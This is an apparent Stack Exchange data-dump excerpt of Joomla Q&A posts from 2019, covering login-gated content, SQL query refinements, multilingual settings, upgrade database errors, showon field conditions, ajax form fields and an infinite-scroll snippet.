  <row Id="24353" PostTypeId="2" ParentId="23416" CreationDate="2019-03-09T18:50:15.447" Score="1" Body="&lt;p&gt;This can be done, with a bit of mucking about with .htaccess and PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roughly;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each directory that contains external content, your http server should redirect the URI as a parameter to a PHP file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That PHP file needs to fire up the necessary bits of Joomla, and then call Joomla to determine whether a user session currently exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, call mod_user for authorization; that call can include a parameter which is the URL of a Joomla page that is displayed upon a successful login. That page should include the links to the non-Joomla content hosted on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user session exists, then simply open the requested file, and return the contents to the httpd daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it turns out that using a menu item that is a URL type no longer plays nicely with the post login redirect option on mod_login, for current versions of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="13390" LastActivityDate="2019-03-09T18:50:15.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24356" PostTypeId="2" ParentId="773" CreationDate="2019-03-11T02:48:09.420" Score="0" Body="&lt;p&gt;As a matter of showing some refinements / best practices, I'll address @doovers's posted solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;DISTINCT SUBSTRING_INDEX(description2, '(', 1) AS height&quot;);&#xA;    -&amp;gt;from(&quot;#__cadcam_disc&quot;);&#xA;    -&amp;gt;where(&quot;LOCATE('(', description2) &amp;gt; 0&quot;)&#xA;    -&amp;gt;order(&quot;height&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;SUBSTRING_INDEX()&lt;/code&gt; is the single function call equivalent to &lt;code&gt;LEFT(LOCATE())&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A table alias (&lt;code&gt;a&lt;/code&gt;) is not necessary because there is only one table being queried (no ambiguity to resolve).&lt;/li&gt;&#xA;&lt;li&gt;When filtering out values that do not have a &lt;code&gt;(&lt;/code&gt; in your WHERE clause, you can just check for a positive &lt;code&gt;LOCATE()&lt;/code&gt; value (the first character would be at position &lt;code&gt;0&lt;/code&gt;, but the logic of your task means we don't need to check if &lt;code&gt;&amp;gt; -1&lt;/code&gt;, ergo &lt;code&gt;&amp;gt; 0&lt;/code&gt; will do.&lt;/li&gt;&#xA;&lt;li&gt;The string manipulation in the SELECT clause which is given a column alias of &lt;code&gt;height&lt;/code&gt; can be referred to in the ORDER BY clause. This is much easier on the eyes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's a playground for anyone who wants to get to know these functions better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/ci6ZfAQAPkbMKtak4T5kbm/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/ci6ZfAQAPkbMKtak4T5kbm/0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-03-11T02:48:09.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24358" PostTypeId="1" CreationDate="2019-03-11T10:57:41.980" Score="0" ViewCount="54" Body="&lt;p&gt;I have 7 languages installed in my website, but when I try to display content in one country, it shows in another country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to display content in country #2, but it shows content for country #5.&lt;/p&gt;&#xA;" OwnerUserId="13394" LastEditorUserId="12352" LastEditDate="2019-03-11T12:25:40.337" LastActivityDate="2019-08-08T16:03:30.523" Title="How to display the appropriate language in an article?" Tags="|joomla-3.5|language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24360" PostTypeId="1" AcceptedAnswerId="24363" CreationDate="2019-03-11T12:32:59.647" Score="0" ViewCount="68" Body="&lt;p&gt;is there any official REST API in Joomla?&#xA;If yes I would like to retrieve Contacts from Components, do you have any advice on how to achieve it?&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2019-03-12T07:07:22.580" Title="Retrieve Contacts from Components via REST API" Tags="|contact|restful-api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24361" PostTypeId="2" ParentId="24358" CreationDate="2019-03-11T15:22:59.487" Score="1" Body="&lt;p&gt;Joomla has a core language plugin that you can find among plugins: &lt;strong&gt;Joomla admin-&gt;extensions-&gt;plugins-&gt;System - Language Filter&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this plugin you can set automatic language change for the front-end of your site based on the visitors' browser's language settings (in &lt;strong&gt;language selection for new visitors&lt;/strong&gt; setting). It's just self explanatory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oOk8r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oOk8r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More on this here:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Setup_a_Multilingual_Site/Enabling_the_Language_Plugins&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Setup_a_Multilingual_Site/Enabling_the_Language_Plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And since Joomla 3.7&lt;/strong&gt; you can create content in different languages using the great associations feature of Joomla (with the     Multilingual Associations component and the &lt;strong&gt;associations&lt;/strong&gt; tab in article edit page). Full and quite clear tutorial is here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.x:Multilingual_Associations&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J3.x:Multilingual_Associations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the language filter and the Multilingual Associations component you cannot really have problem with any languages (if you have translators of course). And the component is also quite clear and easy to use.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-03-11T15:54:29.050" LastActivityDate="2019-03-11T15:54:29.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24362" PostTypeId="1" AcceptedAnswerId="26174" CreationDate="2019-03-11T19:39:08.417" Score="1" ViewCount="2370" Body="&lt;p&gt;I've updated to Joomla 3.9.3 and now when I open the articles pages, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;500 Unknown column 'a.note' in 'field list'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried to fix the database with the Joomla repair function, but this wasn't possible either because I get another error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1709 Index column size too large&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To solve this, I tried the repair function from phpMyAdmin, but I'm not so familiar with this. My first try there did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the database in Joomla, I get the following errors:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Table 'DB1805098.#__privacy_consents' doesn't exist&lt;br&gt;&#xA;  Table 'DB1805098.#__action_logs' doesn't exist&lt;br&gt;&#xA;  Table 'DB1805098.#__privacy_requests' doesn't exist&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any other ideas on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else seems to work fine in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="11248" LastEditorUserId="11248" LastEditDate="2019-09-26T11:48:24.383" LastActivityDate="2019-09-26T11:48:24.383" Title="Joomla 3.9.3 Articles: 500 Unknown column 'a.note' in 'field list'" Tags="|articles|database|error-pages|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24363" PostTypeId="2" ParentId="24360" CreationDate="2019-03-12T07:07:22.580" Score="0" Body="&lt;p&gt;this component appears to do what you want, &lt;a href=&quot;https://github.com/techjoomla/com_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/techjoomla/com_api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used it yet, but have been considering it for a project as it looks like it handles the core components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-03-12T07:07:22.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24364" PostTypeId="1" AcceptedAnswerId="24376" CreationDate="2019-03-12T07:23:06.887" Score="1" ViewCount="50" Body="&lt;p&gt;I added &lt;code&gt;&amp;amp;#128274;&lt;/code&gt; in the source code of JCE. JCE convert it to .&lt;br&gt;&#xA;The problem is after save in my database ist is a scratch characters &lt;code&gt;ðŸ”’&lt;/code&gt;.&lt;br&gt;&#xA;My question now is should I modyfy JCE (How?) or change the MySQL collation? It is now &lt;code&gt;utf8mb4_unicode_ci&lt;/code&gt; to what?.&lt;/p&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2019-03-14T07:50:23.140" Title="JCE convert unicode after save in my DB" Tags="|mysql|jce|unicode|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24365" PostTypeId="1" CreationDate="2019-03-12T12:38:07.903" Score="1" ViewCount="34" Body="&lt;p&gt;I have always told my designer that he should ignore any web rules and think/design like the print designer he is.  And it is my job to overcome the issues that arise because of this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every now-and-then an issue crops up that I think is solvable, but I'm not sure how best to approach it but I think it would be fun to try.  See the below mock to understand the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4oNcZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4oNcZ.jpg&quot; alt=&quot;American Massage Training Mock&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mock has a content area and a sidebar, but in part of the page there is a breakout image.  I can make an image break out of the content by using negative margin.  Here's a very simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.full-width {&#xA;  left: 50%;&#xA;  margin-left: -50vw;&#xA;  margin-right: -50vw;&#xA;  max-width: 100vw;&#xA;  position: relative;&#xA;  right: 50%;&#xA;  width: 100vw;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The demo is here: &lt;a href=&quot;https://codepen.io/Balloony/pen/ZPXdEg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codepen.io/Balloony/pen/ZPXdEg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this technique breaks the image out of the main container, but it does not break into the sidebar container, thus it simply goes over the top (or underneath).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of a way to solve this problem?  I'm ok with using JavaScript or PHP or any other method.  &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-03-12T12:38:07.903" Title="It is possible to use a breakout image in a CMS that breaks a sidebar also" Tags="|templates|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24366" PostTypeId="1" CreationDate="2019-03-12T15:30:55.937" Score="1" ViewCount="114" Body="&lt;p&gt;Consider this scenario...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each page on the site displays a single banner advertisement (Joomla native module). The module is configured to be random (one banner at a time). There are 3 clients registered: Stores A, B and C.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Client A has 1 ad (basketball ball offer)&lt;/li&gt;&#xA;&lt;li&gt;Client B has 3 ads (dress, t-shirt, sneakers)&lt;/li&gt;&#xA;&lt;li&gt;Client C has 1 ad (cars).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the random function, client B is having 3 times more banner impressions than the others and this has become a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not limit the number of ads per customer, but I need to match impressions per customer. How to do this?&lt;/p&gt;&#xA;" OwnerUserId="9744" LastEditorUserId="12352" LastEditDate="2019-03-12T23:12:59.727" LastActivityDate="2021-04-03T14:04:55.507" Title="How to balance banner impressions per client considering that clients may have a differing number of ads?" Tags="|com-banners|" AnswerCount="1" CommentCount="9" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24367" PostTypeId="1" AcceptedAnswerId="24368" CreationDate="2019-03-12T16:28:37.590" Score="3" ViewCount="386" Body="&lt;p&gt;In a Joomla 3.9.3 module, I'm trying, with no luck, to show/hide a field with showon by checking the values on other three fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My XML:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;foo&quot;&#xA;    type=&quot;text&quot;&#xA;/&amp;gt;&#xA;&amp;lt;field&#xA;    name=&quot;bar&quot;&#xA;    type=&quot;text&quot;&#xA;/&amp;gt;&#xA;&amp;lt;field&#xA;     name=&quot;fooimg&quot;&#xA;    type=&quot;media&quot;&#xA;    showon=&quot;foo!:[OR]bar!:&quot;&#xA;/&amp;gt;&#xA;&amp;lt;field&#xA;    name=&quot;baz&quot;&#xA;    type=&quot;radio&quot;&#xA;    class=&quot;btn-group btn-group-yesno&quot;&#xA;    showon=&quot;foo!:[OR]bar!:[AND]fooimg!:&quot;&#xA;    default=&quot;&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;bazval&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With: &lt;code&gt;showon=&quot;foo!:[OR]bar!:[AND]fooimg!:&quot;&lt;/code&gt; on baz field I expect that baz is shown when (foo or bar has a value) and fooimg has a value too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the results are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    foo = true &#xA;    bar = false&#xA;    fooimage = true&#xA;    baz is NOT SHOWED (should be showed)&#xA;&#xA;    foo = false&#xA;    bar = true&#xA;    fooimage = true&#xA;    baz IS SHOWED (as aspected)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With fooimage or foo and bar set to False it work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried: &lt;code&gt;&quot;fooimg!:[AND]foo!:[OR]bar!:&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="13397" LastEditorUserId="9471" LastEditDate="2019-04-01T21:11:02.997" LastActivityDate="2019-04-01T21:11:02.997" Title="How to use the showon attribute with multiple conditions?" Tags="|joomla-3.x|form-fields-types|xml|showon|conditional-statements|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24368" PostTypeId="2" ParentId="24367" CreationDate="2019-03-12T18:00:15.890" Score="0" Body="&lt;p&gt;I'm not fully sure if this can help you, but since the &lt;code&gt;fooimg&lt;/code&gt; field is only shown when either &lt;code&gt;foo&lt;/code&gt; or &lt;code&gt;bar&lt;/code&gt; &lt;strong&gt;is true&lt;/strong&gt;, then in &lt;code&gt;baz&lt;/code&gt; field you do not have to check that again, so it would be enough just to check if &lt;code&gt;fooimg&lt;/code&gt; field is &lt;strong&gt;true&lt;/strong&gt; or not, thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;baz&quot;&#xA;    type=&quot;radio&quot;&#xA;    class=&quot;btn-group btn-group-yesno&quot;&#xA;    showon=&quot;fooimg!:&quot;&#xA;    default=&quot;&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;bazval&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;code&gt;baz&lt;/code&gt; field will only be shown if the &lt;code&gt;foo&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;bar&lt;/code&gt; is not empty &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;fooimg&lt;/code&gt; is not empty. So you actually get the same result simply (that you actually wanted to get).&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2019-03-12T18:00:15.890" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24369" PostTypeId="1" AcceptedAnswerId="24378" CreationDate="2019-03-13T04:45:46.220" Score="3" ViewCount="1066" Body="&lt;p&gt;I would like to populate the &quot;Owner&quot; select option list by SELECTing the &lt;code&gt;owner&lt;/code&gt; column from the &lt;code&gt;#__gscrm_accounts&lt;/code&gt; table WHERE the &lt;code&gt;gscrm_account_id&lt;/code&gt; (primary key) is the selected &quot;Person or Business&quot; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This ajax needs to be triggered by the &lt;code&gt;onchange()&lt;/code&gt; event of &lt;code&gt;&amp;lt;field name=&quot;account&quot;&amp;gt;&lt;/code&gt; then populate &lt;code&gt;&amp;lt;field name=&quot;owner&quot;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rCuan.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rCuan.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, I don't know if this is &quot;fresh&quot; or &quot;modified&quot; copy of SimpleCRM because I've never used SimpleCRM and this project was just thrown at me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;components/com_gscrm/View/Notes/tmpl/form.form.xml&lt;/strong&gt;, the &quot;Person or Business&quot; select field is generated from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;account&quot; class=&quot;high28&quot; labelclass=&quot;label_left&quot; label_placement=&quot;top&quot;&#xA;    label=&quot;COM_GSCRM_NOTES_ACCOUNT_LABEL&quot; tooltip=&quot;COM_GSCRM_NOTES_ACCOUNT_DESC&quot;&#xA;    type=&quot;Model&quot;&#xA;    model=&quot;Accounts&quot;&#xA;    key_field=&quot;gscrm_account_id&quot;&#xA;    value_field=&quot;title&quot;&#xA;    apply_access=&quot;true&quot;&#xA;    apply_enabled=&quot;true&quot;&#xA;    none=&quot;GS_SELECT&quot;&#xA;&amp;gt;&#xA;    &amp;lt;state key=&quot;code&quot;&amp;gt;[ITEM:CODE]&amp;lt;/state&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;Owner of this contact&quot; field is generated by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;owner&quot; emptylabel=&quot;1&quot; class=&quot;high28&quot; labelclass=&quot;label_left&quot; label_placement=&quot;top&quot; label=&quot;COM_GSCRM_NOTES_OWNER_LABEL&quot;&#xA;    type=&quot;Model&quot;&#xA;    model=&quot;Beads&quot;&#xA;    key_field=&quot;gscrm_bead_id&quot;&#xA;    value_field=&quot;user_name&quot;&#xA;    apply_access=&quot;true&quot;&#xA;    apply_enabled=&quot;true&quot;&#xA;    none=&quot;GS_NOT_AVAILABLE&quot;&#xA;&amp;gt;&#xA;    &amp;lt;state key=&quot;code&quot;&amp;gt;[ITEM:CODE]&amp;lt;/state&amp;gt;               &#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that I will need to add a bit of complexity to the query that I actually require and it might not be a single &quot;owner&quot; value that I am returning, but my question is: &lt;strong&gt;How do I execute the ajax process using best practices and pre-existing classes/methods if possible?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_AJAX&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_AJAX&lt;/a&gt; but that isn't specifically dealing with &lt;code&gt;&amp;lt;field&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks close: &lt;a href=&quot;https://stackoverflow.com/q/15383822/2943403&quot;&gt;How to change select list from another using AJAX in Joomla&lt;/a&gt; but I am not sure about the best placement of the files and I am not dealing with chozen elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/7512519/2943403&quot;&gt;Soren's answer&lt;/a&gt; indicates that I should be crafting a url like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_gscrm&amp;amp;task=ajax.getOwners&amp;amp;format=raw&amp;amp;var=[the_selected_value]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so, where do I best park my &lt;code&gt;getOwners()&lt;/code&gt; method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/14280/12352&quot;&gt;Loading the options of a select form field via jQuery Ajax&lt;/a&gt; looks similar, but mostly yatta-yattas over the fundamental pieces that I require: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the posts have a fair bit of age on them and I expect to see a token used in this process.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-03-18T11:13:22.797" LastActivityDate="2019-03-19T08:35:33.207" Title="How to execute an ajax script to update form fields in an .xml file rendered by Akeeba FOF?" Tags="|component|ajax|fields|fof|simplecrm|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24370" PostTypeId="1" CreationDate="2019-03-13T10:57:10.793" Score="0" ViewCount="355" Body="&lt;p&gt;I create a plugin in k2, which has a calendar field.&lt;br&gt;&#xA;When I choose the time in k2 backend like 2019-03-13 05:00 and save the item, the time auto becomes 2019-03-13 13:00,the date is correct but the time it's always 8 hours later in the field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;item_gc_endtime&quot;&#xA;    type=&quot;calendar&quot;&#xA;    default=&quot;&quot;&#xA;    label=&quot;choose&quot;&#xA;    description=&quot;&quot;&#xA;    class=&quot;input-medium&quot;&#xA;    format=&quot;%Y-%m-%d %H:%M&quot;&#xA;    singleheader=&quot;true&quot;&#xA;    showtime=&quot;true&quot;&#xA;    timeformat=&quot;24&quot;&#xA;    weeknumbers=&quot;true&quot;&#xA;    filltable=&quot;true&quot;&#xA;    maxyear=&quot;5&quot; &#xA;/&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8859" LastEditorUserId="126" LastEditDate="2019-09-23T07:37:02.970" LastActivityDate="2024-01-30T14:09:11.153" Title="Joomla calendar field issue" Tags="|date|calendar|timezone|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24371" PostTypeId="1" CreationDate="2019-03-13T11:50:31.117" Score="0" ViewCount="217" Body="&lt;p&gt;Following scenario: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i published 2 separate main menu items: &quot;Home&quot; &amp;amp; &quot;News&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for &quot;&lt;strong&gt;home&lt;/strong&gt;&quot;: i got a category blog published as homepage menu item showing the latest 3 articles tagged as category &quot;news&quot;, and some other modules around it &lt;/li&gt;&#xA;&lt;li&gt;for &quot;&lt;strong&gt;news&lt;/strong&gt;&quot; this is also a category blog but with a list of all news intros without any other modules &lt;/li&gt;&#xA;&lt;li&gt;in general the news are published as intro &amp;amp; detail article, thus showing on the homepage only an intro image and intro text&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The issue is now, that when a website visitor clicks the homepage news teaser, then the detail news opens and in the menu the &quot;&lt;strong&gt;home&lt;/strong&gt;&quot; remains active. But I'd want that the menu item is &quot;&lt;strong&gt;news&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same issue applies if a detail news article is opened from the category blog in &quot;&lt;strong&gt;news&lt;/strong&gt;&quot;, then unfortunately also &quot;&lt;strong&gt;home&lt;/strong&gt;&quot; is set active. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any workaround for this scenario? So that I can control that always a specific main menu item is active if the detail page of a category blog is opened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already using the Advanced Module Manager joomla extensions, but this only helps to hide / control modules aroud a categeory blog, but does not help to modify behavior of the category blog detail page mechanism or URL handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&#xA;Andre&lt;/p&gt;&#xA;" OwnerUserId="13398" LastActivityDate="2024-03-21T21:01:30.157" Title="Category blog on homepage: how to open detail article as part of a different menu item?" Tags="|menu|category-blog|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24372" PostTypeId="2" ParentId="24370" CreationDate="2019-03-13T13:31:16.933" Score="0" Body="&lt;p&gt;after save the time also become 2019-03-13 13:00,now the problem solved,i only use date field without time,and use the text field for user to input hour&lt;/p&gt;&#xA;" OwnerUserId="8859" LastActivityDate="2019-03-13T13:31:16.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24375" PostTypeId="2" ParentId="8863" CreationDate="2019-03-14T03:36:06.750" Score="0" Body="&lt;p&gt;This handy little piece of code will help with your custom component development. I am using it for infinite scrolling of items in my custom component and it works beautifully. You can combine it with simpleScoll.js to hide the scrollbars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essense, you loop through your items inside the scrolling div. The listener then checks the height of your container and does some math to determine when to pull another set of data from your pagination and append it to the #listings div.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;#infiniteScroll{overflow:auto; height:300px; width:100%}&amp;lt;/style&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;infiniteScroll&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;items&quot;&amp;gt;&#xA;        &amp;lt;?php foreach($this-&amp;gt;items as $item){?&amp;gt;&#xA;            &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;                SOME INFO THAT IS BEING DISPLAYED&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php }?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;    &#xA;&amp;lt;div id=&quot;allShown&quot; class=&quot;hidden&quot;&amp;gt;All Items have been displayed.&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var itemsToFetch = 10;&#xA;var offset = itemsToFetch;&#xA;$('#infiniteScroll').bind('scroll', function(){&#xA;    var urlVar = '?start=';&#xA;    if($(this).scrollTop() + $(this).innerHeight() &amp;gt;= $(this)[0].scrollHeight){&#xA;        $.get(urlVar + offset, function(data){&#xA;&#xA;            var items = $(data).find('#listings .listing');&#xA;            $('#listings').append(items);&#xA;            if((offset + itemsToFetch) &amp;gt; &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;total;?&amp;gt;){&#xA;                offset += (&amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;total;?&amp;gt; - offset);&#xA;                $(&quot;#allShown&quot;).removeClass(&quot;hidden&quot;);&#xA;            }else{&#xA;                offset += itemsToFetch;&#xA;            }&#xA;        });&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="12352" LastEditDate="2019-03-15T11:21:39.073" LastActivityDate="2019-03-15T11:21:39.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24376" PostTypeId="2" ParentId="24364" CreationDate="2019-03-14T07:50:23.140" Score="0" Body="&lt;p&gt;STRIKE:&#xA;I found a better and simple solution:&lt;br&gt;&#xA;just switch the collation of introtext to &lt;code&gt;utf8mb4_bin&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2019-03-14T07:50:23.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
